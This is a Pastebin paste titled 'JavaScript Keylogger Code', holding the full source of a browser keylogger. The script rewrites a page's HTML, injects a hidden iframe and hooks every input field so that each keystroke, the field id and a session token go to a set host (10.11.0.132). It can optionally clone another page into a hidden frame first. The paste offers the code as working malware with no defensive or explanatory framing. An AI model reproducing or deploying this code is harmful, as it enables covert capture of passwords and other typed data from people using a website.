Advertisement
RedBirdTeam

JavaScript Keylogger Code

Oct 1st, 2019
925
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. var destination = http://10.11.0.132/;
  2. var useClone = false;
  3. var cloneSource = null;
  4. var cloneDelay = 1000;
  5.  
  6. function hookInputs() {
  7.     var frame = document.getElementById('overlayFrame');    
  8.  
  9.     var keyPressScript =
  10.         '<script>' +
  11.             'var l = Math.random().toString().substring(2);' +
  12.             'function relayKeyPress(e) {' +
  13.                 'var fc = document.getElementById("frameContainer");' +
  14.                 'var x = String.fromCharCode(e.keyCode);' +
  15.                 'var y = String.fromCharCode(e.which);' +
  16.                 'var k = e.keyCode ? x : y;' +
  17.                 'var f = \'' + destination +
  18.                     '\' + escape(k) + \',\' + ' +
  19.                     '(e.srcElement ? e.srcElement.id : e.target.id) + ' +
  20.                     '\',\' + l;' +
  21.                 'fc.src = f;' +
  22.             '};' +
  23.         '</\x73cript>';
  24.  
  25.     var iframe = '<iframe id="frameContainer" style="display:none;"></iframe>';
  26.  
  27.     var sourceDoc = useClone ? frame.contentDocument : document;
  28.  
  29.     var html = sourceDoc.getElementsByTagName('html')[0].innerHTML;
  30.  
  31.     html = html.replace(/<head([^>]*)>/i, '<head $1>' + keyPressScript);
  32.     html = html.replace(/<body([^>]*)>/i, '<body $1>' + iframe);
  33.     html = html.replace(/<input/gi, '<input onkeypress="relayKeyPress(event)" ');
  34.  
  35.     document.clear();
  36.     document.write(html);
  37. }
  38.  
  39. window.onload = function() {
  40.     if (destination == null) {
  41.         alert('destination not set');
  42.  
  43.         return;
  44.     }
  45.  
  46.     if (useClone) {
  47.  
  48.         if (cloneSource == null) {
  49.             alert('cloneSource not set');
  50.             return;
  51.         }
  52.  
  53.         document.body.innerHTML +=
  54.             '<iframe style="display:none;" id="overlayFrame" src="' +
  55.                 cloneSource + '"></iframe>';
  56.  
  57.         setTimeout("hookInputs()", cloneDelay);
  58.     }
  59.     else
  60.         hookInputs();
  61. };
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement